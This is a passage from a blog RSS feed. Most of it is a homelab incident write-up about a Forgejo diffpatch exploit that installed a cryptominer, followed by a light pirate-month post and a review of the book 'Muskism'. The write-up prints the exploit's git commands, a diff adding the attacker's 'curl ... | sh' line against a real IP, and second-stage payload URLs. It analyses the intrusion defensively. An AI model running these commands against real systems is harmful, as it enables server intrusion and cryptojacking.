&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;output_blob&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/bin/sh&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;COMMAND&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;command_status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;\n[exit-status=%s]\n&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$command_status&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;--git-dir&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$origin_git&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;hash-object&lt;span class="w"&gt; &lt;/span&gt;-w&lt;span class="w"&gt; &lt;/span&gt;--stdin&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;exit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;
&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;tree&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;100644 blob %s\toutput\n&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$output_blob&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;--git-dir&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$origin_git&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;mktree&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;exit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;
&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;commit&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;printf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;command output\n&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;GIT_AUTHOR_NAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;poc&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;GIT_AUTHOR_EMAIL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;poc@example.invalid&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;GIT_COMMITTER_NAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;poc&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;GIT_COMMITTER_EMAIL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;poc@example.invalid&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;--git-dir&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$origin_git&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;commit-tree&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$tree&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;exit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6&lt;/span&gt;
&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;--git-dir&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$origin_git&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;update-ref&lt;span class="w"&gt; &lt;/span&gt;LEAK_REF&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$commit&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;exit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;7&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;They were nearly identical. The only differences were the details in the Git commit and tree variables&lt;sup&gt;&lt;em&gt;(foreshadowing...)&lt;/em&gt;&lt;/sup&gt;, my placeholder &lt;code&gt;COMMAND&lt;/code&gt; and &lt;code&gt;LEAK_REF&lt;/code&gt; values, and the attacker's added &lt;code&gt;curl&lt;/code&gt; back to their server's IP.&lt;/p&gt;
&lt;p&gt;Speaking of their server's IP, it looks to be a &lt;a href='https://whatismyipaddress.com/ip/172.245.159.216'&gt;server on RackNerd's infra&lt;/a&gt;. I &lt;code&gt;curl&lt;/code&gt;ed the malicious IP and grabbed the payload: another shell script. This one was a heavily minified, lightly obfuscated 6-liner, with the longest line being 1063 characters. After formatting it with &lt;code&gt;shfmt&lt;/code&gt;, it was still gross, but much more readable at 57 lines. This bit immediately stood out to me:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$__a&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;x86_64&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;__u&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;http://172.245.159.216/1&amp;quot;&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$__a&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;aarch64&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;__u&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;http://172.245.159.216/2&amp;quot;&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$__a&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;amd64&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;__u&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;http://172.245.159.216/3&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Smells like platform-specific binaries; these must be the real payloads. The second-stage script was still pretty unreadable overall though, so I had an LLM add comments throughout to explain what each chunk did.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Note:&lt;/em&gt; I know the LLM-use will (understandably) piss some people off. However, I would not have otherwise been able to understand this nigh-unreadable shell script. Rest-assured that AI was not used elsewhere in the writing of this post, and that I am not an AI-bro.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In short, the second-stage script:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Attempts to kill processes with “guard” in the name (antivirus?).&lt;/li&gt;
&lt;li&gt;Kills processes using more than 80% of the CPU and disables their systemd entries.&lt;/li&gt;
&lt;li&gt;Determines a suitable download location between &lt;code&gt;/tmp&lt;/code&gt;, &lt;code&gt;HOME&lt;/code&gt;, and &lt;code&gt;PWD&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Determines the host's CPU architecture.&lt;/li&gt;
&lt;li&gt;Attempts to download the corresponding binary, with fallback methods including curl, wget, Python urllib, Perl HTTP:Tiny, a raw Perl HTTP request, and, when all else fails, a plain-old HTTP/1.0 GET request.&lt;/li&gt;
&lt;li&gt;Executes, then deletes the binary from the disk once it's safely running in memory.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Not bad! So, what about those binaries? What exactly is the goal of this whole thing? To find out, I threw them into VirusTotal.&lt;/p&gt;
&lt;p&gt;Shocker: they are all known crypto-miners.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://bear-images.sfo2.cdn.digitaloceanspaces.com/phunkycafe/image-2.webp" alt="VirusTotal's pages on each of the three binaries. Out of 61 security vendors, from left to right: the x86 build was flagged by 26 vendors, aarch64 by 36, and amd64 by 36." /&gt;&lt;/p&gt;
&lt;p&gt;For those interested, here are the SHA-256 hashes of each binary.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# x86
0b8e037d160bdb0b621c975c424f680b814bc438fd492ae376ff3140e209e480

# aarch64
6a1f70ef89684037bb3d0536657f00a92fbbcdb9067195b060128a221df79df5

# amd64
ed23db197d907bdb6873c02b7222110321b0f859e329c420a6d0d6e50220308f
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I couldn't find a wallet address for the miner to send crypto to in either of the shell scripts, so I assume it's hard-coded into the binaries. It's possible that the binaries coordinate with the attacker's server to get or create an address, but I didn't find any other unexplained calls to the attacker's server in my gateway's network logs. Unfortunately, I don't have the skills to decompile the binaries, nor do I have the time to learn at the moment, so this is as far as we'll go on this front.&lt;/p&gt;
&lt;h2 id=the-logs&gt;The Logs&lt;/h2&gt;&lt;p&gt;Seemingly, the primary IOC for this CVE is at least two calls to &lt;code&gt;POST /api/v1/repos/USER/REPO/diffpatch&lt;/code&gt;. I filtered through my &lt;a href='https://pangolin.net'&gt;Pangolin&lt;/a&gt; logs and found an IP which hit that endpoint three times. I filtered the rest of the logs for that IP and found my smoking gun.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;+-----------+---------------+------+--------------------------------------------------+
|timestamp  |ip             |method|path                                              |
+-----------+---------------+------+--------------------------------------------------+
|08:49:15 AM|107.172.180.205|POST  |/api/v1/repos/testpoc26188/poc-78614/diffpatch    |
|08:49:05 AM|107.172.180.205|POST  |/api/v1/repos/testpoc26188/poc-78614/diffpatch    |
|08:49:04 AM|107.172.180.205|POST  |/api/v1/repos/testpoc26188/poc-78614/diffpatch    |
|08:49:04 AM|107.172.180.205|GET   |/api/v1/repos/testpoc26188/poc-78614/branches/main|
|08:49:03 AM|107.172.180.205|POST  |/api/v1/user/repos                                |
|08:49:02 AM|107.172.180.205|GET   |/                                                 |
|08:49:02 AM|107.172.180.205|POST  |/user/sign_up                                     |
|08:49:02 AM|107.172.180.205|GET   |/user/sign_up                                     |
|08:04:20 AM|107.172.180.205|GET   |/assets/img/favicon.svg                           |
|08:04:08 AM|107.172.180.205|GET   |/                                                 |
+-----------+---------------+------+--------------------------------------------------+
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The attacking IP, 107.172.180.205, looks to be a &lt;a href='https://whatismyipaddress.com/ip/107.172.180.205'&gt;VPN server in Rancho Cucamonga&lt;/a&gt; - that's &lt;a href='https://red.artemislena.eu/r/Maps/comments/upclhg/how_i_see_the_us_states_im_european/'&gt;near Los Angeles&lt;/a&gt;&lt;sup&gt;&lt;a href='https://www.reddit.com/r/Maps/comments/upclhg/how_i_see_the_us_states_im_european/'&gt;Direct Reddit link&lt;/a&gt;&lt;/sup&gt;. The attacker scanned my instance - presumably to check its version - then disappeared for 45 minutes. Then, in the span of 3 seconds, they signed up for an account, pushed the malicious repo, and triggered the exploit, with a third trigger 10 seconds later. This was definitely scripted.&lt;/p&gt;
&lt;p&gt;Then, filtering through my gateway's logs, I found the outgoing requests from the second-stage script.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;+--------------------------+-----------+---------------+------+-----------+-------+
|Timestamp                 |Src. Ip    |Dst. Ip        |Region|MB Received|MB Sent|
+--------------------------+-----------+---------------+------+-----------+-------+
|Aug 7, 2026 8:51:38.689 AM|192.168.0.2|172.245.159.216|US    |0.11       |6.43   |
|Aug 7, 2026 8:51:20.890 AM|192.168.0.2|172.245.159.216|US    |0          |0      |
|Aug 7, 2026 8:51:08.667 AM|192.168.0.2|172.245.159.216|US    |0.04       |3.23   |
+--------------------------+-----------+---------------+------+-----------+-------+
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Two minutes after the exploit triggered, it looks like the second-stage script downloaded the payload. Notably, the &lt;code&gt;3.23MB&lt;/code&gt; and &lt;code&gt;6.43MB&lt;/code&gt; requests roughly line up with the x86 payload, weighing in at &lt;code&gt;3.2MB&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;du&lt;span class="w"&gt; &lt;/span&gt;-hd&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;payload_*
&lt;span class="m"&gt;3&lt;/span&gt;.2M&lt;span class="w"&gt;	&lt;/span&gt;payload_1-x86_64
&lt;span class="m"&gt;7&lt;/span&gt;.5M&lt;span class="w"&gt;	&lt;/span&gt;payload_2-aarch64
&lt;span class="m"&gt;8&lt;/span&gt;.0M&lt;span class="w"&gt;	&lt;/span&gt;payload_3-amd64
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Because I was trigger-happy and destroyed Forgejo's Docker container so quickly, I could not investigate the infected container directly. Luckily though, I did not find any evidence in my gateway's network logs of a reverse shell, nor attempts at lateral movement. The host OS, my other containers, and the rest of the machines on my LAN all appear clean and are still behaving as expected.&lt;/p&gt;
&lt;h2 id=a-match&gt;A Match&lt;/h2&gt;&lt;p&gt;During my research, I found a POC on GitHub whose chosen values for the tree and commit match mine to a T.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;diff&lt;span class="w"&gt; &lt;/span&gt;matching-github-poc&lt;span class="w"&gt; &lt;/span&gt;post-index-change
12c10,11
&amp;lt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;output_blob&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;CMD_PLACEHOLDER&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;--git-dir&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$origin_git&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;hash-object&lt;span class="w"&gt; &lt;/span&gt;-w&lt;span class="w"&gt; &lt;/span&gt;--stdin&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;exit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;
---
&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;http://172.245.159.216&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sh&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;
&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;output_blob&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;id&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;--git-dir&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$origin_git&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;hash-object&lt;span class="w"&gt; &lt;/span&gt;-w&lt;span class="w"&gt; &lt;/span&gt;--stdin&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;exit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Even the Git commit values - the ones that didn't match Gitea's POC - match here. The only differences are the removal of &lt;code&gt;CMD_PLACEHOLDER&lt;/code&gt; and the addition of a curl call to get and execute the second-stage script. It's pretty unlikely that the repo owner would accidentally use the same Git commit and tree values as my attacker, but it &lt;em&gt;is&lt;/em&gt; a public repo, so anyone could have cloned and repurposed it.&lt;/p&gt;
&lt;p&gt;The repo’s POC also has an accompanying Nuclei template which completely automates scanning, delivery, and execution of the exploit. Its steps match my incoming logs from Pangolin perfectly. At the very least, the attacker cloned this POC and Nuclei script.&lt;/p&gt;
&lt;p&gt;Looking through the profile of the repo's owner, they have nearly 600 repos. Almost all of them are POCs and either customized forks of, or original tools for, vulnerability scanning and exploitation automation. The account was created in early 2022, predating the sloppening by just under a year. If this person didn't hack me, the person who did definitely copied this homework. I couldn't find their username elsewhere online, either.&lt;/p&gt;
&lt;p&gt;This is all very far from conclusive, so to avoid a witch hunt, I won't be sharing further details here on the GitHub profile or repo.&lt;/p&gt;
&lt;h2 id=remediation&gt;Remediation&lt;/h2&gt;&lt;p&gt;Just to be safe, I rolled back my Forgejo container to a pre-breach backup and thanked my past self for daily 3-2-1 backups (&lt;a href='https://duplicacy.com/'&gt;Duplicacy&lt;/a&gt;, ily). Additionally, I updated Forgejo to v16, disabled open signups, and disabled local auth. I already had Pocket ID connected as a sign-in option, but it now the &lt;em&gt;only&lt;/em&gt; option.&lt;/p&gt;
&lt;p&gt;I haven't had time to look into it yet, but I also want to limit outgoing LAN and WAN access on a per-container basis. For example, I'd like to restrict outgoing connections for Forgejo to just Pocket ID, or to block FreshRSS from accessing my LAN while preserving its access to WAN, while still allowing incoming connections from the host OS to their exposed ports.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If anyone has any ideas, my contact info is at the bottom of this page!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I might play with iptables for this, but I'm trying to K.I.S.S. (Keep It Simple, Stupid) in my homelab. My previous Proxmox-based setup with dozens of VMs, LXCs, and containers became too annoying to keep up with. I did the first chunk of this investigation from my phone in bed on a Saturday morning. The easier it is for me to do things like that, the better.&lt;/p&gt;
&lt;h2 id=closing-thoughts&gt;Closing Thoughts&lt;/h2&gt;&lt;p&gt;At the end of this all, it was a fun, unexpected weekend project for me to exercise my (low-stakes, homelab) IR muscles. It could've been much worse, so I'm glad it was just a wake-up call, courtesy of a pretty harmless crypto-miner. The exploit automation was neat to see in the wild, too.&lt;/p&gt;
&lt;p&gt;The lesson, as always: follow 3-2-1 backups, patch your shit, think twice before you expose your services publicly, and if you think you're immune to getting hacked, think again.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://bear-images.sfo2.cdn.digitaloceanspaces.com/phunkycafe/you-are-not-immune-to-cryptojacking.webp" alt="Catte says "you are not immune to cryptojacking"." /&gt;&lt;/p&gt;
</description>
      <author>hidden (phunkycafe)</author>
      <guid isPermaLink="false">https://phunky.cafe/my-homelab-got-hacked/</guid>
      <pubDate>Mon, 10 Aug 2026 17:54:00 +0000</pubDate>
    </item>
    <item>
      <title>Happy International Pirate Month!</title>
      <link>https://blog.absurdpirate.com/happy-international-pirate-month/</link>
      <description>&lt;p&gt;It's August, aka ARR-gust, aka International Pirate Month!&lt;/p&gt;
&lt;p&gt;As the resident bear pirate, I felt it was my duty to spread awareness of this month. If you would like to participate in the festivities, here's some ways on how:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Write your next post entirely in pirate-speak&lt;/li&gt;
&lt;li&gt;Dress up as a pirate&lt;/li&gt;
&lt;li&gt;Drink rum (drink responsibly... or don't I'm not your dad)&lt;/li&gt;
&lt;li&gt;&lt;a href='https://www.reddit.com/r/Piracy/'&gt;Commit Copyright Infringement&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Donate time/money to charities/humanitarian orgs (yeah I know pirates were all about plundering booty or whatever, shut up). I recommend charities/orgs like St. Jude Children's Hospital, local libraries, animal shelters, Doctors without Borders, local food banks.&lt;/li&gt;
&lt;li&gt;Listen to Sea Shanties (I personally dig The Longest Johns)&lt;/li&gt;
&lt;li&gt;If you got a boat, sail it (or paddle it, canoes/kayaks count)!&lt;/li&gt;
&lt;li&gt;Watch Pirates of the Caribbean&lt;/li&gt;
&lt;li&gt;Put up a black flag&lt;/li&gt;
&lt;li&gt;Whatever else you can think of&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So get to it you scallywags and Happy International Pirate Month from you friendly* neighborhood pirate!&lt;/p&gt;
&lt;p&gt;&lt;a class="previous-post" href="/fine-ill-stop-using-comic-sans" title="Fine! I&amp;#x27;ll Stop Using Comic Sans"&gt;Previous&lt;/a&gt; | &lt;a class="next-post" href="/tradwives-where-feminism-goes-to-off-itself" title="Tradwives: Where Feminism Goes to Off Itself"&gt;Next&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Reply via email: &lt;a href='mailto:me@absurdpirate.com'&gt;me@absurdpirate.com&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</description>
      <author>hidden (absurdpirate)</author>
      <guid isPermaLink="false">https://blog.absurdpirate.com/happy-international-pirate-month/</guid>
      <pubDate>Tue, 11 Aug 2026 01:56:00 +0000</pubDate>
    </item>
    <item>
      <title>book: muskism by quinn slobodian and ben tarnoff</title>
      <link>https://blog.avas.space/muskism/</link>
      <description>&lt;p&gt;Another book I finished in July was &lt;em&gt;Muskism: A Guide for the Perplexed&lt;/em&gt; by Quinn Slobodian and Ben Tarnoff. It argues that instead of seeing Musk as an individual or even an exceptional outlier, he should be seen as a symptom of a bigger playbook, something other forces in society brought forward and shaped. Just like Henry Ford is where Fordism gets the name, the authors argue that Muskism is an ideology based on Elon Musk.&lt;/p&gt;
&lt;p&gt;Musk primarily sells a fantasy: That, if they buy into his walled garden, both individuals and states can be self-reliant, uninterrupted by grid failures, geopolitics and more. This is sold as techno-sovereignty, when it actually makes them rely on Musk himself. He depends on perpetual hype, online trolling/meme warfare, state symbiosis and financial fabulation to convince the public and for his businesses to even survive.&lt;/p&gt;
&lt;p&gt;In Muskism, everything is code, undesirable people are bugs, and empathy is an exploit. There is a huge focus on vertical integration, lean production, Agile-like processes and being anti-union. Sovereignty is seen as infrastructure instead of just territory, and is much more decided by access to bandwidth, compute, and orbital real estate. Governments everywhere are reliant on few companies to ensure their duties.&lt;/p&gt;
&lt;p&gt;The authors dive in deep into Musk's personal history: Joshua Haldeman, his maternal grandfather, wrote for the Technocracy Incorporated journal and dreamed of a future in which society was run under the dictatorship of engineers who would allocate resources according to scientific principles. After Canada banned Technocracy in 1940, he emigrated to South Africa with Elon's mother Maye; two years after the National Party introduced apartheid. That is where the embrace of technology as facilitator of self-reliance and hardening of racial inequalities started happening with support from IBM, Ford, and Toyota, as their tech was used, among other things, to count, track, and reallocate Black laborers, enable homegrown industries and nuclear weapons. South Africa was an early "biometric state", where the "Book of Life" identification system recorded racial classifications of every citizen.&lt;/p&gt;
&lt;p&gt;Pretoria, where Musk was born in 1971, was a prime example of fortress futurism, as it housed the executive offices and government buildings that instated and managed apartheid. As other groups were pushed to segregated townships on the outskirts, the white elite, including Musk, lived in wealthy suburbs like Waterkloof. Black labor was able to be cast aside or drawn from quickly, and entire communities were displaced for cheap industrial sites. Musk's family directly benefited from all of it, and it set the tone for the way Muskism sees most people: As faceless laborers in the background, ready to be added or deleted at a whim, as "NPCs", as he loves to call people.&lt;/p&gt;
&lt;p&gt;Many of his pursuits relied on state creations and tax payer money: Using free military GPS data for Zip2 maps, using the federally ensured stability of the US financial system for online banking (his attempt at the earlier version of X.com and his resulting PayPal involvement), and the internet, a technology invented by the government. He later grafted himself onto the state via his companies gaining a lot of government contracts: Using the increased military spending and visions of network-centric warfare after 2001 to launch small satellites via SpaceX, and then subsequently getting a $8 million, then a $100 million contract by the DARPA and the Air Force in 2004 and 2005 to build rockets and provide low-cost orbital launch vehicles and services, plus a COTS contract of $278 million in 2006, to name just a few. Later on, this provided the money and power in space to bring Starlink to life, which by 2025, made up about two thirds of all active satellites and is available in over a 100 countries. It also got plenty of government contracts and subsidies, one being $900 million for internet in rural US areas, and a $1.8 billion contract in 2021 for Starshield, a military version of Starlink.&lt;/p&gt;
